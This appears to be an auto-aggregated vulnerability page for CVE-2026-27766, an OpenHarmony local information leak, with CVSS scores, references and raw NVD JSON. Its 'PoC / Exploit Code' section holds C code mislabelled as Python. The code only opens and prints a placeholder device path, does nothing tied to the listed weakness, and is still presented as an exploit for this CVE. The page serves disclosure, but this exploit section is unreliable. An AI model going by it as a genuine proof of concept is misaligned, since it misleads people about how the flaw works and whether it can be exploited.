CVE-2026-27766

Description

in OpenHarmony v6.0 and prior versions allow a local attacker cause information leak.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

OpenHarmony <= v6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

/*
 * PoC for CVE-2026-27766
 * Demonstrates reading sensitive information via local access.
 * Compile: gcc -o poc_exploit poc_exploit.c
 */

int main() {
    // Path to the sensitive file or memory interface vulnerable in OpenHarmony
    const char* target_path = "/dev/private/sensitive_data"; 

    printf("[*] Attempting to open %s...\n", target_path);

    int fd = open(target_path, O_RDONLY);
    if (fd < 0) {
        perror("[-] Exploit failed: Could not open target");
        return 1;
    }

    printf("[+] Successfully opened target descriptor.\n");

    char buffer[1024];
    ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1);
    if (bytes_read > 0) {
        buffer[bytes_read] = '\0';
        printf("[+] Data leaked:\n%s\n", buffer);
    } else {
        printf("[-] No data read or error occurred.\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27766
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27766
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27766/
[4] VulDB https://vuldb.com/cve/CVE-2026-27766
[5] https://gitcode.com/openharmony/security/tree/master/zh/security-disclosure/2026/2026-05.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27766", "sourceIdentifier": "[email protected]", "published": "2026-05-19T04:16:28.693", "lastModified": "2026-05-19T14:25:04.340", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "in OpenHarmony v6.0 and prior versions allow a local attacker cause information leak."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-364"}]}], "references": [{"url": "https://gitcode.com/openharmony/security/tree/master/zh/security-disclosure/2026/2026-05.md", "source": "[email protected]"}]}}